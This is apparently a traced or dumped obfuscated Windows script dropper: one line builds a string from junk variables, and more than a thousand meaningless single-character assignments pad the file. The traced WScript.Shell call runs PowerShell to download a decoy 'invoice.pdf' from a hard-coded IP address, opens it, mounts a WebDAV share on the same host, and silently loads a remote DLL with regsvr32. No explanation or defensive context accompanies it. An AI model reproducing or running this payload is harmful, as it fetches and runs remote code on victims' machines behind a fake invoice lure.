gaaeeaf + gaaeeaf + yvgglyjja + fzvph + zzqouyoj + wnejpfo + yvgglyjja + eugeqvpj + zzqouyoj + wnejpfo + yvgglyjja + wnejpfo + brggmmipw + cgavjrw + iulyanolr + bgzifn + vpzja + vpzja + vpzja + vpzja + gaaeeaf + yekvj + rlohbyywp + eumsgnqe + zplmclcnb + zplmclcnb + zplmclcnb + glefa + vzetbvwei + vzetbvwei + kgugcnq + gaaeeaf + yvgglyjja + iulyanolr + zzqouyoj + cgavjrw + zzqouyoj + pheilfnty + pheilfnty + fzvph + vpzja + yvgglyjja + zzqouyoj + vpzja + brggmmipw + cgavjrw + wnejpfo + yekvj + vxjspgex + vxjspgex, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll",0,false) ➔ 0
14	}
15	vwctit = "g";
16	vwctit = "e";
17	vwctit = "q";
18	vwctit = "l";
19	vwctit = "Y";
20	vwctit = "s";
21	vwctit = "a";
22	vwctit = "O";
23	vwctit = "c";
24	vwctit = "J";
25	vwctit = "b";
26	vwctit = "x";
27	vwctit = "Z";
28	vwctit = "E";
29	vwctit = "p";
30	vwctit = "Y";
31	vwctit = "z";
32	vwctit = "g";
33	vwctit = "c";
34	vwctit = "j";
35	vwctit = "A";
36	vwctit = "V";
37	vwctit = "c";
38	vwctit = "n";
39	vwctit = "z";
40	vwctit = "W";
41	vwctit = "G";
42	vwctit = "E";
43	vwctit = "l";
44	vwctit = "E";
45	vwctit = "p";
46	vwctit = "K";
47	pheilfnty = "t";
48	pheilfnty = "s";
49	pheilfnty = "J";
50	pheilfnty = "b";
51	pheilfnty = "C";
52	pheilfnty = "b";
53	pheilfnty = "V";
54	pheilfnty = "Z";
55	pheilfnty = "j";
56	pheilfnty = "I";
57	pheilfnty = "V";
58	pheilfnty = "F";
59	pheilfnty = "D";
60	pheilfnty = "e";
61	pheilfnty = "z";
62	pheilfnty = "u";
63	pheilfnty = "j";
64	pheilfnty = "y";
65	pheilfnty = "K";
66	pheilfnty = "J";
67	pheilfnty = "j";
68	pheilfnty = "o";
69	pheilfnty = "t";
70	pheilfnty = "n";
71	pheilfnty = "P";
72	pheilfnty = "I";
73	pheilfnty = "v";
74	pheilfnty = "V";
75	pheilfnty = "n";
76	pheilfnty = "i";
77	pheilfnty = "y";
78	pheilfnty = "Q";
79	pheilfnty = "X";
80	pheilfnty = "e";
81	pheilfnty = "S";
82	pheilfnty = "s";
83	pheilfnty = "f";
84	pheilfnty = "a";
85	pheilfnty = "W";
86	pheilfnty = "i";
87	pheilfnty = "n";
88	pheilfnty = "P";
89	pheilfnty = "n";
90	pheilfnty = "K";
91	pheilfnty = "6";
92	jjjnvjs = "H";
93	jjjnvjs = "Q";
94	jjjnvjs = "o";
95	jjjnvjs = "T";
96	jjjnvjs = "D";
97	jjjnvjs = " ";
98	jylosvl = "J";
99	jylosvl = "R";
100	jylosvl = "W";
101	jylosvl = "T";
102	jylosvl = "r";
103	jylosvl = "O";
104	jylosvl = "U";
105	jylosvl = "G";
106	jylosvl = "D";
107	jylosvl = "x";
108	jylosvl = "r";
109	jylosvl = "O";
110	jylosvl = "h";
111	jylosvl = "Q";
112	jylosvl = "A";
113	jylosvl = "z";
114	jylosvl = "S";
115	jylosvl = "X";
116	jylosvl = "A";
117	jylosvl = "D";
118	jylosvl = "Y";
119	jylosvl = "h";
120	jylosvl = "r";
121	jylosvl = "t";
122	jylosvl = "p";
123	jylosvl = "K";
124	jylosvl = "s";
125	jylosvl = "p";
126	jylosvl = "Y";
127	jylosvl = "n";
128	jylosvl = "u";
129	jylosvl = "c";
130	jylosvl = "R";
131	jylosvl = "C";
132	jylosvl = "I";
133	jylosvl = "e";
134	kgugcnq = "z";
135	kgugcnq = "I";
136	kgugcnq = "X";
137	kgugcnq = "k";
138	kgugcnq = "r";
139	kgugcnq = "C";
140	kgugcnq = "X";
141	kgugcnq = "j";
142	kgugcnq = "g";
143	kgugcnq = "j";
144	kgugcnq = "R";
145	kgugcnq = "Y";
146	kgugcnq = "d";
147	kgugcnq = "d";
148	kgugcnq = "e";
149	kgugcnq = "x";
150	kgugcnq = "L";
151	kgugcnq = "X";
152	kgugcnq = "j";
153	kgugcnq = "y";
154	kgugcnq = "R";
155	kgugcnq = "X";
156	kgugcnq = "V";
157	kgugcnq = "v";
158	kgugcnq = "P";
159	kgugcnq = "R";
160	kgugcnq = "a";
161	kgugcnq = "t";
162	kgugcnq = "u";
163	kgugcnq = "l";
164	kgugcnq = "s";
165	kgugcnq = "L";
166	kgugcnq = "u";
167	kgugcnq = "V";
168	kgugcnq = "y";
169	kgugcnq = "q";
170	kgugcnq = "F";
171	kgugcnq = "J";
172	kgugcnq = "M";
173	kgugcnq = "X";
174	kgugcnq = "r";
175	kgugcnq = "U";
176	kgugcnq = "t";
177	dpgahdlr = "D";
178	dpgahdlr = "P";
179	dpgahdlr = "i";
180	dpgahdlr = "b";
181	dpgahdlr = "D";
182	dpgahdlr = "J";
183	dpgahdlr = "U";
184	dpgahdlr = "j";
185	dpgahdlr = "M";
186	dpgahdlr = "S";
187	dpgahdlr = "e";
188	dpgahdlr = "Q";
189	dpgahdlr = "p";
190	dpgahdlr = "z";
191	dpgahdlr = "J";
192	dpgahdlr = "B";
193	dpgahdlr = "L";
194	dpgahdlr = "H";
195	dpgahdlr = "b";
196	dpgahdlr = "k";
197	cswnlb = "q";
198	cswnlb = "u";
199	cswnlb = "C";
200	cswnlb = "H";
201	cswnlb = "t";
202	cswnlb = "f";
203	cswnlb = "o";
204	cswnlb = "O";
205	cswnlb = "P";
206	cswnlb = "N";
207	cswnlb = "e";
208	cswnlb = "F";
209	cswnlb = "I";
210	cswnlb = "l";
211	cswnlb = "p";
212	cswnlb = "H";
213	cswnlb = "U";
214	cswnlb = "L";
215	cswnlb = "Y";
216	bgzifn = "q";
217	bgzifn = "B";
218	bgzifn = "F";
219	bgzifn = "N";
220	bgzifn = "r";
221	bgzifn = "r";
222	bgzifn = "s";
223	bgzifn = "@";
224	ynvpkwkff = "h";
225	ynvpkwkff = "f";
226	ynvpkwkff = "U";
227	ynvpkwkff = "H";
228	ynvpkwkff = "W";
229	ynvpkwkff = "l";
230	ynvpkwkff = "z";
231	ynvpkwkff = "D";
232	ynvpkwkff = "F";
233	ynvpkwkff = "F";
234	ynvpkwkff = "y";
235	ynvpkwkff = "o";
236	ynvpkwkff = "a";
237	ynvpkwkff = "O";
238	ynvpkwkff = "s";
239	ynvpkwkff = "B";
240	ynvpkwkff = "Q";
241	ynvpkwkff = "O";
242	ynvpkwkff = "j";
243	ynvpkwkff = "v";
244	ynvpkwkff = "l";
245	ynvpkwkff = "m";
246	ynvpkwkff = "d";
247	ynvpkwkff = "k";
248	ynvpkwkff = "d";
249	ynvpkwkff = "J";
250	ynvpkwkff = "Q";
251	ynvpkwkff = "C";
252	ynvpkwkff = "v";
253	ynvpkwkff = "K";
254	ynvpkwkff = "Q";
255	ynvpkwkff = "b";
256	ynvpkwkff = "R";
257	ynvpkwkff = "J";
258	ynvpkwkff = "U";
259	ynvpkwkff = "p";
260	ynvpkwkff = "R";
261	llxgkxl = "u";
262	brggmmipw = "E";
263	brggmmipw = "W";
264	brggmmipw = "N";
265	brggmmipw = "C";
266	brggmmipw = "A";
267	brggmmipw = "L";
268	brggmmipw = "X";
269	brggmmipw = "V";
270	brggmmipw = "f";
271	brggmmipw = "h";
272	brggmmipw = "P";
273	brggmmipw = "O";
274	brggmmipw = "U";
275	brggmmipw = "l";
276	brggmmipw = "E";
277	brggmmipw = "F";
278	brggmmipw = "Y";
279	brggmmipw = "V";
280	brggmmipw = "J";
281	brggmmipw = "S";
282	brggmmipw = "q";
283	brggmmipw = "m";
284	brggmmipw = "P";
285	brggmmipw = "T";
286	brggmmipw = "m";
287	brggmmipw = "i";
288	brggmmipw = "c";
289	brggmmipw = "k";
290	brggmmipw = "m";
291	brggmmipw = "W";
292	brggmmipw = "k";
293	brggmmipw = "V";
294	brggmmipw = "T";
295	brggmmipw = "I";
296	brggmmipw = "Z";
297	brggmmipw = "R";
298	brggmmipw = "P";
299	brggmmipw = "s";
300	brggmmipw = "w";
301	brggmmipw = "G";
302	brggmmipw = "J";
303	brggmmipw = "E";
304	brggmmipw = "m";
305	brggmmipw = "A";
306	brggmmipw = "2";
307	cboiiyqd = "B";
308	cboiiyqd = "o";
309	cboiiyqd = "P";
310	cboiiyqd = "M";
311	cboiiyqd = "I";
312	cboiiyqd = "H";
313	cboiiyqd = "C";
314	cboiiyqd = "O";
315	cboiiyqd = "k";
316	cboiiyqd = "x";
317	cboiiyqd = "D";
318	cboiiyqd = "a";
319	cboiiyqd = "Q";
320	cboiiyqd = "a";
321	cboiiyqd = "A";
322	cboiiyqd = "v";
323	cboiiyqd = "m";
324	cboiiyqd = "t";
325	cboiiyqd = "E";
326	cboiiyqd = "L";
327	cboiiyqd = "Q";
328	cboiiyqd = "d";
329	cboiiyqd = "D";
330	cboiiyqd = "o";
331	cboiiyqd = "E";
332	cboiiyqd = "H";
333	cboiiyqd = "T";
334	cboiiyqd = "q";
335	cboiiyqd = "c";
336	cboiiyqd = "E";
337	zaacdivfq = "s";
338	zaacdivfq = "P";
339	zaacdivfq = "p";
340	zaacdivfq = "q";
341	zaacdivfq = "Z";
342	zaacdivfq = "V";
343	zaacdivfq = "W";
344	zaacdivfq = "w";
345	zaacdivfq = "D";
346	zaacdivfq = "r";
347	zaacdivfq = "j";
348	zaacdivfq = "T";
349	zaacdivfq = "v";
350	zaacdivfq = "I";
351	zaacdivfq = "F";
352	zaacdivfq = "q";
353	zaacdivfq = "P";
354	zaacdivfq = "d";
355	zaacdivfq = "R";
356	zaacdivfq = "H";
357	zaacdivfq = "N";
358	zaacdivfq = "Z";
359	zaacdivfq = "h";
360	zaacdivfq = "q";
361	zaacdivfq = "x";
362	zaacdivfq = "X";
363	zaacdivfq = "a";
364	zaacdivfq = "v";
365	zaacdivfq = "F";
366	zaacdivfq = "h";
367	zaacdivfq = "F";
368	zaacdivfq = "o";
369	zaacdivfq = "N";
370	zaacdivfq = "S";
371	zaacdivfq = "q";
372	zaacdivfq = "G";
373	zaacdivfq = "s";
374	zaacdivfq = "a";
375	zaacdivfq = "c";
376	zaacdivfq = "v";
377	zaacdivfq = "i";
378	zaacdivfq = "I";
379	zaacdivfq = "o";
380	zaacdivfq = "P";
381	admvhelgk = "F";
382	admvhelgk = "H";
383	admvhelgk = "q";
384	admvhelgk = "G";
385	admvhelgk = "i";
386	admvhelgk = "T";
387	admvhelgk = "Y";
388	admvhelgk = "C";
389	admvhelgk = "h";
390	admvhelgk = "t";
391	admvhelgk = "w";
392	admvhelgk = "e";
393	admvhelgk = "s";
394	admvhelgk = "k";
395	admvhelgk = "Y";
396	admvhelgk = "B";
397	admvhelgk = "F";
398	admvhelgk = "J";
399	admvhelgk = "m";
400	admvhelgk = "u";
401	admvhelgk = "W";
402	admvhelgk = "_";
403	vxjspgex = "O";
404	vxjspgex = "A";
405	vxjspgex = "s";
406	vxjspgex = "o";
407	vxjspgex = "K";
408	vxjspgex = "u";
409	vxjspgex = "a";
410	vxjspgex = "W";
411	vxjspgex = "N";
412	vxjspgex = "o";
413	vxjspgex = "a";
414	vxjspgex = "w";
415	vxjspgex = "u";
416	vxjspgex = "O";
417	vxjspgex = "t";
418	vxjspgex = "H";
419	vxjspgex = "r";
420	vxjspgex = "g";
421	vxjspgex = "h";
422	vxjspgex = "u";
423	vxjspgex = "x";
424	vxjspgex = "u";
425	vxjspgex = "G";
426	vxjspgex = "s";
427	vxjspgex = "M";
428	vxjspgex = "h";
429	vxjspgex = "X";
430	vxjspgex = "P";
431	vxjspgex = "l";
432	hppqqvie = "v";
433	hppqqvie = "C";
434	hppqqvie = "F";
435	hppqqvie = "J";
436	hppqqvie = "B";
437	hppqqvie = "q";
438	hppqqvie = "U";
439	hppqqvie = "v";
440	hppqqvie = "l";
441	hppqqvie = "O";
442	hppqqvie = "Q";
443	hudsdup = "h";
444	hudsdup = "J";
445	hudsdup = "s";
446	hudsdup = "n";
447	hudsdup = "q";
448	hudsdup = "A";
449	hudsdup = "F";
450	hudsdup = "p";
451	hudsdup = "%";
452	lszihgp = "W";
453	wkqyit = "a";
454	wkqyit = "a";
455	wkqyit = "k";
456	wkqyit = "P";
457	wkqyit = "u";
458	wkqyit = "X";
459	wkqyit = "W";
460	wkqyit = "r";
461	wkqyit = "V";
462	wkqyit = "z";
463	wkqyit = "t";
464	wkqyit = "g";
465	wkqyit = "B";
466	wkqyit = "z";
467	wkqyit = "-";
468	xkgswqj = "M";
469	xkgswqj = "z";
470	xkgswqj = "A";
471	xkgswqj = "e";
472	xkgswqj = "U";
473	xkgswqj = "c";
474	xkgswqj = "L";
475	xkgswqj = "I";
476	xkgswqj = "A";
477	xkgswqj = "T";
478	xkgswqj = "g";
479	xkgswqj = "F";
480	xkgswqj = "X";
481	xkgswqj = "E";
482	xkgswqj = "d";
483	xkgswqj = "n";
484	rakptycp = "H";
485	rakptycp = "N";
486	rakptycp = "b";
487	rakptycp = "p";
488	rakptycp = "K";
489	rakptycp = "V";
490	rakptycp = "Z";
491	rakptycp = "R";
492	rakptycp = "s";
493	rakptycp = "q";
494	rakptycp = "Y";
495	rakptycp = "d";
496	rakptycp = "x";
497	rakptycp = "L";
498	rakptycp = "m";
499	rakptycp = "I";
500	rakptycp = "l";
501	rakptycp = "T";
502	rakptycp = "K";
503	rakptycp = "C";
504	rakptycp = "k";
505	rakptycp = "I";
506	rakptycp = "R";
507	rakptycp = "b";
508	rakptycp = "U";
509	rakptycp = "W";
510	rakptycp = "O";
511	rakptycp = ":";
512	rlohbyywp = "s";
513	rlohbyywp = "z";
514	rlohbyywp = "r";
515	rlohbyywp = "r";
516	rlohbyywp = "W";
517	rlohbyywp = "w";
518	rlohbyywp = "V";
519	rlohbyywp = "K";
520	rlohbyywp = "p";
521	rlohbyywp = "a";
522	rlohbyywp = "V";
523	rlohbyywp = "y";
524	rlohbyywp = "F";
525	rlohbyywp = "t";
526	rlohbyywp = "a";
527	lndflaod = "V";
528	lndflaod = "f";
529	lndflaod = "s";
530	lndflaod = "D";
531	lndflaod = "Q";
532	lndflaod = "H";
533	lndflaod = "U";
534	lndflaod = "b";
535	lndflaod = "V";
536	lndflaod = "L";
537	lndflaod = "u";
538	lndflaod = "Q";
539	lndflaod = "t";
540	lndflaod = "y";
541	lndflaod = "w";
542	lndflaod = "p";
543	lndflaod = "d";
544	lndflaod = "C";
545	lndflaod = "u";
546	lndflaod = "N";
547	lndflaod = "L";
548	lndflaod = "p";
549	lndflaod = "Q";
550	lndflaod = "p";
551	lndflaod = "T";
552	lndflaod = "g";
553	lndflaod = "m";
554	lndflaod = "n";
555	lndflaod = "L";
556	lndflaod = "S";
557	lndflaod = "y";
558	lndflaod = "p";
559	lndflaod = "P";
560	lndflaod = "u";
561	lndflaod = "F";
562	lndflaod = "q";
563	lndflaod = "C";
564	lndflaod = "N";
565	lndflaod = "L";
566	wplssypu = "W";
567	wplssypu = "r";
568	wplssypu = "n";
569	wplssypu = "S";
570	wplssypu = "g";
571	wplssypu = "Q";
572	wplssypu = "U";
573	wplssypu = "V";
574	wplssypu = "W";
575	wplssypu = "Q";
576	wplssypu = "h";
577	wplssypu = "A";
578	wplssypu = "n";
579	wplssypu = "E";
580	wplssypu = "r";
581	wplssypu = "b";
582	wplssypu = "s";
583	wplssypu = "y";
584	wplssypu = "R";
585	wplssypu = "G";
586	wplssypu = "C";
587	wplssypu = "J";
588	wplssypu = "A";
589	wplssypu = "y";
590	wplssypu = "b";
591	wplssypu = "g";
592	wplssypu = "i";
593	kxewii = "g";
594	kxewii = "o";
595	kxewii = "x";
596	kxewii = "f";
597	kxewii = "k";
598	kxewii = "m";
599	kxewii = "P";
600	kxewii = "a";
601	kxewii = "J";
602	kxewii = "M";
603	kxewii = "g";
604	kxewii = "C";
605	kxewii = "g";
606	kxewii = "R";
607	kxewii = "L";
608	kxewii = "X";
609	kxewii = "R";
610	kxewii = "H";
611	vihqcbvh = "a";
612	vihqcbvh = "l";
613	vihqcbvh = "b";
614	vihqcbvh = "d";
615	vihqcbvh = "C";
616	vihqcbvh = "I";
617	vihqcbvh = "q";
618	vihqcbvh = "E";
619	vihqcbvh = "Z";
620	vihqcbvh = "h";
621	vihqcbvh = "t";
622	vihqcbvh = "A";
623	vihqcbvh = "N";
624	vihqcbvh = "r";
625	vihqcbvh = "J";
626	vihqcbvh = "r";
627	vihqcbvh = "T";
628	vihqcbvh = "t";
629	vihqcbvh = "y";
630	vihqcbvh = "H";
631	vihqcbvh = "l";
632	vihqcbvh = "I";
633	vihqcbvh = "D";
634	vihqcbvh = "T";
635	vihqcbvh = "D";
636	vihqcbvh = "x";
637	vihqcbvh = "u";
638	vihqcbvh = "a";
639	vihqcbvh = "w";
640	vihqcbvh = "C";
641	vihqcbvh = "M";
642	vihqcbvh = "l";
643	vihqcbvh = "K";
644	vihqcbvh = "d";
645	vihqcbvh = "l";
646	vihqcbvh = "e";
647	vihqcbvh = "L";
648	vihqcbvh = "f";
649	iulyanolr = "r";
650	iulyanolr = "x";
651	iulyanolr = "5";
652	zzqouyoj = "X";
653	zzqouyoj = "E";
654	zzqouyoj = "Z";
655	zzqouyoj = "M";
656	zzqouyoj = "E";
657	zzqouyoj = "x";
658	zzqouyoj = "I";
659	zzqouyoj = "S";
660	zzqouyoj = "3";
661	chcieyc = "y";
662	chcieyc = "k";
663	chcieyc = "l";
664	chcieyc = "F";
665	chcieyc = "n";
666	chcieyc = "t";
667	chcieyc = "v";
668	chcieyc = "q";
669	chcieyc = "q";
670	chcieyc = "r";
671	chcieyc = "h";
672	chcieyc = "Q";
673	chcieyc = "u";
674	chcieyc = "C";
675	chcieyc = "Q";
676	chcieyc = "E";
677	chcieyc = "o";
678	chcieyc = "d";
679	chcieyc = "T";
680	chcieyc = "S";
681	chcieyc = "V";
682	chcieyc = "T";
683	chcieyc = "r";
684	chcieyc = "N";
685	chcieyc = "O";
686	chcieyc = "F";
687	xifkwxh = "I";
688	xifkwxh = "V";
689	xifkwxh = "X";
690	xifkwxh = "E";
691	xifkwxh = "t";
692	xifkwxh = "z";
693	xifkwxh = "A";
694	xifkwxh = "b";
695	xifkwxh = "I";
696	xifkwxh = "v";
697	xifkwxh = "z";
698	xifkwxh = "A";
699	xifkwxh = "c";
700	xifkwxh = "t";
701	xifkwxh = "R";
702	xifkwxh = "r";
703	xifkwxh = "E";
704	xifkwxh = "V";
705	xifkwxh = "f";
706	xifkwxh = "D";
707	xifkwxh = "L";
708	xifkwxh = "t";
709	xifkwxh = "Y";
710	xifkwxh = "H";
711	xifkwxh = "u";
712	xifkwxh = "T";
713	xifkwxh = "E";
714	xifkwxh = "v";
715	xifkwxh = "F";
716	xifkwxh = "x";
717	xifkwxh = "h";
718	staez = "n";
719	staez = "F";
720	staez = "U";
721	staez = "f";
722	staez = "a";
723	staez = "p";
724	staez = "z";
725	staez = "x";
726	staez = "K";
727	staez = "M";
728	staez = "Z";
729	staez = "p";
730	staez = "I";
731	staez = "v";
732	staez = "S";
733	staez = "J";
734	staez = "J";
735	staez = "q";
736	staez = "D";
737	staez = "z";
738	staez = "v";
739	staez = "A";
740	staez = "k";
741	staez = "f";
742	staez = "E";
743	staez = "e";
744	staez = "V";
745	staez = "s";
746	staez = "j";
747	staez = "C";
748	staez = "r";
749	staez = "q";
750	staez = "b";
751	staez = "n";
752	staez = "D";
753	staez = "n";
754	staez = "S";
755	vcrskpv = "D";
756	vcrskpv = "O";
757	vcrskpv = "Q";
758	vcrskpv = "m";
759	vcrskpv = "v";
760	vcrskpv = "n";
761	vcrskpv = "i";
762	vcrskpv = "i";
763	vcrskpv = "m";
764	vcrskpv = "K";
765	vcrskpv = "m";
766	vcrskpv = "a";
767	vcrskpv = "W";
768	vcrskpv = "X";
769	vcrskpv = "T";
770	vcrskpv = "w";
771	vcrskpv = "m";
772	vcrskpv = "s";
773	vcrskpv = "e";
774	vcrskpv = "x";
775	vcrskpv = "r";
776	vcrskpv = "z";
777	vcrskpv = "s";
778	vcrskpv = "C";
779	vcrskpv = "M";
780	vcrskpv = "w";
781	vcrskpv = "b";
782	vcrskpv = "&";
783	gaaeeaf = "E";
784	gaaeeaf = "w";
785	gaaeeaf = "b";
786	gaaeeaf = "Q";
787	gaaeeaf = "E";
788	gaaeeaf = "Z";
789	gaaeeaf = "M";
790	gaaeeaf = "q";
791	gaaeeaf = "J";
792	gaaeeaf = "c";
793	gaaeeaf = "m";
794	gaaeeaf = "J";
795	gaaeeaf = "e";
796	gaaeeaf = "O";
797	gaaeeaf = "b";
798	gaaeeaf = "G";
799	gaaeeaf = "o";
800	gaaeeaf = "R";
801	gaaeeaf = "i";
802	gaaeeaf = "p";
803	gaaeeaf = "I";
804	gaaeeaf = "A";
805	gaaeeaf = "M";
806	gaaeeaf = "i";
807	gaaeeaf = "i";
808	gaaeeaf = "L";
809	gaaeeaf = "e";
810	gaaeeaf = "z";
811	gaaeeaf = "K";
812	gaaeeaf = "q";
813	gaaeeaf = "k";
814	gaaeeaf = "M";
815	gaaeeaf = "x";
816	gaaeeaf = "g";
817	gaaeeaf = "h";
818	gaaeeaf = "\\";
819	eumsgnqe = "Z";
820	eumsgnqe = "R";
821	eumsgnqe = "o";
822	eumsgnqe = "Y";
823	eumsgnqe = "t";
824	eumsgnqe = "q";
825	eumsgnqe = "p";
826	eumsgnqe = "e";
827	eumsgnqe = "H";
828	eumsgnqe = "Q";
829	eumsgnqe = "T";
830	eumsgnqe = "v";
831	eumsgnqe = "v";
832	glefa = "F";
833	glefa = "O";
834	glefa = "r";
835	eugeqvpj = "i";
836	eugeqvpj = "A";
837	eugeqvpj = "o";
838	eugeqvpj = "K";
839	eugeqvpj = "o";
840	eugeqvpj = "r";
841	eugeqvpj = "H";
842	eugeqvpj = "X";
843	eugeqvpj = "R";
844	eugeqvpj = "j";
845	eugeqvpj = "u";
846	eugeqvpj = "W";
847	eugeqvpj = "S";
848	eugeqvpj = "W";
849	eugeqvpj = "4";
850	yvgglyjja = "i";
851	yvgglyjja = "t";
852	yvgglyjja = "s";
853	yvgglyjja = "h";
854	yvgglyjja = "D";
855	yvgglyjja = "O";
856	yvgglyjja = "E";
857	yvgglyjja = "U";
858	yvgglyjja = "p";
859	yvgglyjja = "a";
860	yvgglyjja = "C";
861	yvgglyjja = "b";
862	yvgglyjja = "d";
863	yvgglyjja = "H";
864	yvgglyjja = "r";
865	yvgglyjja = "m";
866	yvgglyjja = "c";
867	yvgglyjja = "B";
868	yvgglyjja = "R";
869	yvgglyjja = "U";
870	yvgglyjja = "y";
871	yvgglyjja = "P";
872	yvgglyjja = "B";
873	yvgglyjja = "k";
874	yvgglyjja = "S";
875	yvgglyjja = "I";
876	yvgglyjja = "1";
877	zplmclcnb = "B";
878	zplmclcnb = "w";
879	zplmclcnb = "m";
880	zplmclcnb = "c";
881	zplmclcnb = "u";
882	zplmclcnb = "J";
883	zplmclcnb = "A";
884	zplmclcnb = "A";
885	zplmclcnb = "s";
886	zplmclcnb = "p";
887	zplmclcnb = "V";
888	zplmclcnb = "X";
889	zplmclcnb = "l";
890	zplmclcnb = "m";
891	zplmclcnb = "w";
892	icjegri = "a";
893	icjegri = "b";
894	icjegri = "s";
895	icjegri = "I";
896	cepcie = "j";
897	cepcie = "c";
898	brbkx = "U";
899	brbkx = "L";
900	brbkx = "D";
901	brbkx = "f";
902	brbkx = "a";
903	brbkx = "y";
904	brbkx = "F";
905	brbkx = "p";
906	brbkx = "J";
907	brbkx = "f";
908	brbkx = "O";
909	brbkx = "T";
910	brbkx = "l";
911	brbkx = "n";
912	brbkx = "z";
913	brbkx = "f";
914	brbkx = "v";
915	brbkx = "y";
916	brbkx = "a";
917	brbkx = "W";
918	brbkx = "s";
919	brbkx = "u";
920	brbkx = "S";
921	brbkx = "z";
922	brbkx = "j";
923	brbkx = "G";
924	brbkx = "j";
925	brbkx = "L";
926	brbkx = "v";
927	brbkx = "f";
928	brbkx = "Q";
929	brbkx = "P";
930	brbkx = "f";
931	brbkx = "p";
932	brbkx = "l";
933	brbkx = "x";
934	brbkx = "W";
935	brbkx = "K";
936	brbkx = "J";
937	brbkx = "G";
938	brbkx = "O";
939	brbkx = "w";
940	brbkx = "s";
941	aicgw = "x";
942	aicgw = "J";
943	aicgw = "e";
944	aicgw = "R";
945	aicgw = "w";
946	aicgw = "H";
947	aicgw = "m";
948	aicgw = "I";
949	aicgw = "Z";
950	aicgw = "z";
951	aicgw = "d";
952	aicgw = "f";
953	aicgw = "e";
954	aicgw = "q";
955	aicgw = "c";
956	aicgw = "S";
957	aicgw = "a";
958	aicgw = "F";
959	aicgw = "X";
960	aicgw = "X";
961	aicgw = "o";
962	aicgw = "E";
963	aicgw = "U";
964	aicgw = "J";
965	aicgw = "u";
966	aicgw = "S";
967	aicgw = "E";
968	aicgw = "X";
969	aicgw = "t";
970	aicgw = "S";
971	aicgw = "Q";
972	aicgw = "A";
973	aicgw = "o";
974	aicgw = "f";
975	aicgw = "o";
976	aicgw = "S";
977	aicgw = "b";
978	arljev = "N";
979	arljev = "a";
980	arljev = "B";
981	arljev = "u";
982	arljev = "R";
983	arljev = "a";
984	arljev = "A";
985	arljev = "Y";
986	arljev = "C";
987	wmtuqypdw = "W";
988	wmtuqypdw = "z";
989	wmtuqypdw = "t";
990	wmtuqypdw = "u";
991	wmtuqypdw = "K";
992	wmtuqypdw = "k";
993	wmtuqypdw = "N";
994	wmtuqypdw = "U";
995	wmtuqypdw = "f";
996	wmtuqypdw = "e";
997	wmtuqypdw = "K";
998	wmtuqypdw = "Y";
999	wmtuqypdw = "q";
1000	wmtuqypdw = "F";
1001	wmtuqypdw = "H";
1002	wmtuqypdw = "C";
1003	wmtuqypdw = "P";
1004	wmtuqypdw = "T";
1005	wmtuqypdw = "k";
1006	wmtuqypdw = "j";
1007	wmtuqypdw = "p";
1008	wmtuqypdw = "s";
1009	wmtuqypdw = "F";
1010	wmtuqypdw = "V";
1011	wmtuqypdw = "w";
1012	wmtuqypdw = "k";
1013	wmtuqypdw = "S";
1014	wmtuqypdw = "q";
1015	wmtuqypdw = "t";
1016	wmtuqypdw = "U";
1017	wmtuqypdw = "A";
1018	wmtuqypdw = "a";
1019	wmtuqypdw = "a";
1020	wmtuqypdw = "K";
1021	wmtuqypdw = "p";
1022	wmtuqypdw = "g";
1023	wmtuqypdw = "q";
1024	aijyfwabh = "m";
1025	aijyfwabh = "c";
1026	aijyfwabh = "q";
1027	aijyfwabh = "V";
1028	aijyfwabh = "Q";
1029	aijyfwabh = "T";
1030	aijyfwabh = "D";
1031	aijyfwabh = "c";
1032	aijyfwabh = "F";
1033	aijyfwabh = "N";
1034	aijyfwabh = "w";
1035	aijyfwabh = "U";
1036	aijyfwabh = "u";
1037	aijyfwabh = "R";
1038	aijyfwabh = "T";
1039	aijyfwabh = "c";
1040	aijyfwabh = "o";
1041	aijyfwabh = "n";
1042	aijyfwabh = "D";
1043	aijyfwabh = "Z";
1044	aijyfwabh = "a";
1045	aijyfwabh = "C";
1046	aijyfwabh = "B";
1047	aijyfwabh = "z";
1048	aijyfwabh = "r";
1049	aijyfwabh = "K";
1050	aijyfwabh = "k";
1051	aijyfwabh = "b";
1052	aijyfwabh = "V";
1053	aijyfwabh = "f";
1054	aijyfwabh = "W";
1055	aijyfwabh = "l";
1056	aijyfwabh = "g";
1057	aijyfwabh = "g";
1058	horytak = "K";
1059	horytak = "c";
1060	horytak = "M";
1061	horytak = "k";
1062	horytak = "J";
1063	horytak = "w";
1064	horytak = "b";
1065	horytak = "f";
1066	horytak = "g";
1067	horytak = "N";
1068	horytak = "J";
1069	horytak = "D";
1070	horytak = "h";
1071	horytak = "Q";
1072	horytak = "q";
1073	horytak = "p";
1074	horytak = "Q";
1075	horytak = "Z";
1076	horytak = "p";
1077	horytak = "O";
1078	horytak = "X";
1079	horytak = "a";
1080	horytak = "P";
1081	horytak = "K";
1082	horytak = "H";
1083	horytak = "T";
1084	horytak = "T";
1085	horytak = "X";
1086	horytak = "I";
1087	horytak = "r";
1088	horytak = "A";
1089	horytak = "F";
1090	horytak = "P";
1091	horytak = "x";
1092	horytak = "g";
1093	horytak = "r";
1094	horytak = "K";
1095	horytak = "m";
1096	horytak = "j";
1097	horytak = "M";
1098	horytak = "l";
1099	horytak = "F";
1100	horytak = "x";
1101	sjbdbmqvp = "p";
1102	sjbdbmqvp = "V";
1103	sjbdbmqvp = "k";
1104	sjbdbmqvp = "B";
1105	sjbdbmqvp = "q";
1106	sjbdbmqvp = "r";
1107	sjbdbmqvp = "Z";
1108	sjbdbmqvp = "L";
1109	sjbdbmqvp = "b";
1110	sjbdbmqvp = "O";
1111	sjbdbmqvp = "c";
1112	sjbdbmqvp = "O";
1113	yekvj = "P";
1114	yekvj = "c";
1115	yekvj = "G";
1116	yekvj = "m";
1117	yekvj = "p";
1118	yekvj = "w";
1119	yekvj = "v";
1120	yekvj = "K";
1121	yekvj = "q";
1122	yekvj = "E";
1123	yekvj = "B";
1124	yekvj = "u";
1125	yekvj = "f";
1126	yekvj = "i";
1127	yekvj = "f";
1128	yekvj = "q";
1129	yekvj = "O";
1130	yekvj = "a";
1131	yekvj = "n";
1132	yekvj = "a";
1133	yekvj = "a";
1134	yekvj = "d";
1135	ahaffqg = "x";
1136	ahaffqg = "b";
1137	ahaffqg = "W";
1138	ahaffqg = "Y";
